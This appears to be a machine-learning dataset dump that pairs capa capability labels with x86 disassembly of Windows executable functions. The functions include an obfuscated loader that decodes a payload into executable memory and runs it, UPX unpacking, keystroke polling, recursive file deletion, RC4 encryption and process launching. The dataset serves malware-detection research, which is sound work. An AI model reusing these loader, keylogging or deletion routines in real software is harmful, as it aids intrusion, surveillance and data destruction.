joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ab30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40ab3f
pop dword [ebp - 0x1c]
mov eax, 0x42a64862
add eax, 0xbd9a62dd
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe744a666
add dword [ebp - 0x2c], 0x670d9ee5
mov dword [ebp - 0x28], 0x18bbc608
add dword [ebp - 0x28], 0x1977863d
mov dword [ebp - 0x24], 0x7aa970b8
sub dword [ebp - 0x24], 0x2e5d2c8a
mov dword [ebp - 0x20], 0xd7eed29e
add dword [ebp - 0x20], 0x28112d62
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x552a925f
add dword [ebp - 0x2c], 0x1f47d6f7
mov dword [ebp - 0x28], 0xd8d65b79
sub dword [ebp - 0x28], 0x9769fa04
mov dword [ebp - 0x24], 0xf22fb29f
sub dword [ebp - 0x24], 0x8ec04633
mov dword [ebp - 0x20], 0xd65fd5c3
add dword [ebp - 0x20], 0x29a02a3d
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b7fb
push 0
call eax
mov ecx, 0x88da44f1
sub ecx, 0x88d9f9a1
mov ebx, eax
mov edi, 0xb304f5c6
sub edi, 0xb2c345c6
add edi, dword [ebp - 0x1c]
mov edx, 0x6b89c64c
add edx, 0x7a25524f
sub dword [ebp - 0x14], ecx
mov esi, dword [edi]
sub dword [ebp - 0xc], 0x11cbbfcf
add esi, edx
xor dword [ebp - 0x18], esi
mov dword [ebx], esi
sub dword [ebp - 8], 0xb3afce11
add ebx, 4
add edi, 4
loop 0x40ac57
add eax, 0xc322d490
sub eax, 0xc321b47d
xor ebx, ebx
add ebx, eax
add eax, 0x10e0fede
sub eax, 0x10e0fed9
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x41b550
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
jmp 0x41b56a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41b571
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41b560
mov eax, 1
add ebx, ebx
jne 0x41b583
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41b578
jne 0x41b594
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b578
xor ecx, ecx
sub eax, 3
jb 0x41b5a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41b61a
mov ebp, eax
add ebx, ebx
jne 0x41b5b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41b5c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41b5e4
inc ecx
add ebx, ebx
jne 0x41b5d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41b5c5
jne 0x41b5e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b5c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41b604
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41b5f5
jmp 0x41b566
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41b604
add edi, ecx
jmp 0x41b566
pop esi
mov edi, esi
mov ecx, 0x4f5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41b622
cmp byte [edi], 0xc
jne 0x41b622
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41b627
lea edi, [esi + 0x19000]
mov eax, dword [edi]
or eax, eax
je 0x41b696
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x200c8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20104]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41b654
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2010c]
or eax, eax
je 0x41b690
mov dword [ebx], eax
add ebx, 4
jmp 0x41b671
call dword [esi + 0x20108]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41b6c7
cmp al, 0xef
ja 0x41b6ba
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41b69c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41b6a9
mov ebp, dword [esi + 0x20110]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41b6fb
sub esp, 0xffffff80
jmp 0x4025f0
Function at 0x40644e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40645d
pop dword [ebp - 0x3c]
mov eax, 0xe3a044ca
add eax, 0x1ca01f93
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x44ea2649
add dword [ebp - 0x4c], 0x9681f02
mov dword [ebp - 0x48], 0x59ea54ea
sub dword [ebp - 0x48], 0x27b708a5
mov dword [ebp - 0x44], 0xcb2d3626
sub dword [ebp - 0x44], 0x7ee0f1f8
mov dword [ebp - 0x40], 0x518c38b9
sub dword [ebp - 0x40], 0x518c38b9
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x37df467c
sub eax, 0x379ec604
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x80f72985
sub dword [ebp - 0x4c], 0xc84c02f
mov dword [ebp - 0x48], 0x9f0be62
sub dword [ebp - 0x48], 0xc8845ced
mov dword [ebp - 0x44], 0x89dead14
sub dword [ebp - 0x44], 0x266f40a8
mov dword [ebp - 0x40], 0x2510fbf1
add dword [ebp - 0x40], 0xdaef040f
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x37e7f
push 0
call eax
mov ecx, 0x4b6a
mov ebx, eax
mov edx, 0x451400
add edx, dword [ebp - 0x3c]
mov edi, 0xb9752c44
add edi, 0x85a50f5d
xor dword [ebp - 0xc], edi
mov esi, dword [edx]
xor dword [ebp - 0xc], 0x43cc4189
add esi, edi
add dword [ebp - 8], edi
mov dword [ebx], esi
add ebx, 4
add edx, 0x50d9224a
add edx, 0xaf26ddba
loop 0x40656e
add eax, 0x3259c40e
sub eax, 0x3258a393
mov ebx, eax
add eax, 0xe2a333a9
add eax, 0x1d5ccc5c
mov ecx, 0x801141a6
add ecx, 0x802ebe5a
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4068f3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x40692a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406904
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x4068ff
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40695b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x40693d
pop edi
not eax
pop esi
ret 0xc
Function at 0x10018270
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100af1a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.100a4131
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.1001bbc0
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x100182c4
jmp dword [ecx*4 + 0x1001842c]
mov al, byte [esi]
test al, al
je 0x100182f2
cmp al, 0x20
je 0x100182de
cmp al, 0xa1
jne 0x100182f2
cmp byte [esi + 1], al
jne 0x100182f2
test al, 0x80
je 0x100182ea
mov al, byte [esi + 1]
inc esi
test al, al
je 0x100182f2
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x100182d1
test ecx, ecx
je case.default.0x100182c4
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x100182c4
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x10018338
cmp dl, 0xa1
jne 0x1001832c
cmp byte [eax + 1], 0xa1
jne 0x1001832c
test ecx, ecx
jne 0x10018324
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1001834c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x10018366
jmp 0x1001834c
cmp dl, 0x20
jne 0x1001834a
test ecx, ecx
jne 0x10018343
mov edi, eax
mov ecx, 1
jmp 0x1001834c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1001830c
cmp ecx, 1
jne case.default.0x100182c4
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x100182c4
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x100182c4
mov al, byte [esi]
test al, al
je 0x100183be
test al, 0x80
mov byte [esp + 0x3c], al
je 0x100183a4
mov cl, byte [esi + 1]
test cl, cl
je 0x100183be
cmp al, 0xa1
jne 0x10018394
cmp cl, al
je 0x100183a1
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1001be90
inc esi
jmp 0x100183b6
cmp al, 0x20
je 0x100183b6
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.1001bed0
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1001837d
push 0
lea ecx, [esp + 0x14]
call fcn.1001bed0
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1002aa40
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x100183f1
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x1010d678
call fcn.1001bdc0
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.100a40c3
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x100234c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x100afa5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.100a3e38
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10023542
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.100a1a57
mov eax, dword [eax]
push 0x101ede60
push eax
call fcn.10093ae4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.100a40c3
test bl, bl
je 0x10023542
push 0x101ede60
lea ecx, [esp + 0xc]
call fcn.100a4453
push 0x101ede6c
lea ecx, [esp + 0xc]
call fcn.100a4453
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x1002357e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.100a40c3
jmp 0x10023649
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10023602
lea edx, [esp + 0x7c]
push 0x101ede68
push edx
call fcn.10093ae4
add esp, 8
test eax, eax
je 0x10023602
lea eax, [esp + 0x7c]
push 0x101ede64
push eax
call fcn.10093ae4
add esp, 8
test eax, eax
je 0x10023602
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10023592
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.100a40c3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x100248b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10024912
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x10024920
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x100afbbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x101fa0cc]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x10024a58
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x10024986
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.100a40c3
xor eax, eax
jmp 0x10024acf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.100a4200
push esi
lea ecx, [esp + 0xc]
call fcn.100a448f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x101edeb0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x10024aad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.100248b0
test eax, eax
jne 0x10024aad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.100248b0
test eax, eax
jne 0x10024aad
lea eax, [esp + 0x14]
push 0x101ede8c
push eax
call fcn.10094cc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x10024a8c
lea ecx, [esp + 0x14]
push 0x101ede88
push ecx
call fcn.10094c40
mov esi, eax
add esp, 8
test esi, esi
jne 0x10024a8c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x10024a8f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.100a41b0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1002499e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.100a40c3
xor eax, eax
jmp 0x10024acf
mov byte [esi], 0
push 0x101ede84
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.100a40c3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x10036a70
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x10036ade
cmp si, 0x69
ja 0x10036ade
add esi, 0xffd0
cmp si, 0x11
je 0x10036aae
push 0x11
call edi
test ax, ax
jge 0x10036aae
or esi, 0x2000
cmp si, 0x10
je 0x10036ac3
push 0x10
call edi
test ax, ax
jge 0x10036ac3
or esi, 0x4000
cmp si, 0x12
je 0x10036ad8
push 0x12
call edi
test ax, ax
jge 0x10036ad8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x10036aeb
mov esi, 0xbd
jmp 0x10036a9f
cmp si, 0x6e
jne 0x10036af8
mov esi, 0xbe
jmp 0x10036a9f
cmp si, 0x6f
jne 0x10036a99
mov esi, 0xbf
jmp 0x10036a9f

Function at 0x10038060
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x100b0c11
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push ebp
mov ebp, dword [esp + 0x160]
push esi
push edi
push 0xffffffffffffffff
push 0
mov ecx, ebp
call fcn.100a32bd
mov esi, dword [esp + 0x16c]
push 0xffffffffffffffff
push 0
mov ecx, esi
call fcn.100a3111
mov eax, dword [esp + 0x170]
lea ecx, [esp + 0xc]
push eax
call fcn.100a4131
lea ecx, [esp + 0xc]
push str..
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x16c], 0
call fcn.100a430c
mov eax, dword [eax]
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.100a40c3
test edi, edi
je 0x100381ae
mov edx, dword [0x101fa0cc]
mov dword [esp + 0x10], edx
cmp edi, 0xffffffff
mov byte [esp + 0x160], 1
je 0x1003819d
cmp byte [esp + 0x44], 0x2e
je 0x10038182
lea eax, [esp + 0xc]
push 0x101ee95c
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.100a430c
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x164], 2
call fcn.100a41b0
lea ecx, [esp + 0x14]
mov byte [esp + 0x160], 1
call fcn.100a40c3
lea edx, [esp + 0x44]
lea ecx, [esp + 0x10]
push edx
call fcn.100a4453
test byte [esp + 0x18], 0x10
mov eax, dword [esi + 8]
je 0x10038168
push 1
jmp 0x1003816a
push 0
push eax
mov ecx, esi
call fcn.100a35af
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x10]
push ecx
push eax
mov ecx, ebp
call fcn.100a3432
lea edx, [esp + 0x18]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1003810e
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x10]
mov byte [esp + 0x160], 0
call fcn.100a40c3
lea ecx, [esp + 0xc]
mov dword [esp + 0x160], 0xffffffff
call fcn.100a40c3
mov ecx, dword [esp + 0x158]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x158
ret
Function at 0x100381e0
Capabilities:
Delete directory
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x100b0c30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
lea ecx, [esp + 8]
call fcn.100a322a
xor esi, esi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], esi
call fcn.100a3523
mov eax, dword [esp + 0x40]
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0xc]
push ecx
push edx
mov byte [esp + 0x44], 1
call fcn.10038060
mov eax, dword [esp + 0x1c]
add esp, 0xc
cmp eax, esi
mov ebx, eax
jle 0x1003827d
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov eax, dword [esp + 0x28]
cmp dword [eax + esi*4], 0
je 0x1003826c
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + esi*4]
push eax
call fcn.100381e0
mov edx, dword [esp + 0x18]
add esp, 4
mov eax, dword [edx + esi*4]
push eax
call edi
jmp 0x10038276
mov eax, dword [esp + 0x14]
mov eax, dword [eax + esi*4]
push eax
call ebp
inc esi
cmp esi, ebx
jl 0x10038246
pop edi
pop ebp
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 0
call fcn.100a3556
lea ecx, [esp + 8]
mov dword [esp + 0x38], 0xffffffff
call fcn.100a325d
mov ecx, dword [esp + 0x30]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret

Function at 0x100382b0
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp byte [esi], 0x20
jne 0x100382c2
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
je 0x100382ba
cmp byte [esi], 0
je 0x100382f1
cmp byte [esi + 1], 0x3a
jne 0x100382df
mov al, byte [esi + 2]
test al, al
je 0x100382f1
cmp al, 0x5c
jne 0x100382df
mov al, byte [esi + 3]
test al, al
je 0x100382f1
push esi
call fcn.100381e0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x10038720
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x1020a9b0]
xor edx, edx
cmp eax, edx
jne 0x10038746
xor eax, eax
mov byte [eax + 0x1020a8b0], al
inc eax
cmp eax, 0x100
jl 0x1003872e
mov dword [0x1020a9b0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x1020a8b0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x100387d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x100387aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x10038778
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x10038850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x100388a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x1003888a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003f8f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x1003fa88
cmp ebp, ebx
jle 0x1003fa88
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x1003f94e
dec eax
or eax, 0xfffffff8
inc eax
je 0x1003f955
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x1003f964
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x1003f96b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.100a3e04
add esp, 4
cmp eax, ebx
je 0x1003f98c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.100a3e04
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x1003fa7e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x1003fa65
mov al, byte [edx]
cmp al, 0xc0
jbe 0x1003fa51
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x1003fa46
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x1003fa54
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x1003fa54
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x1003f9f0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
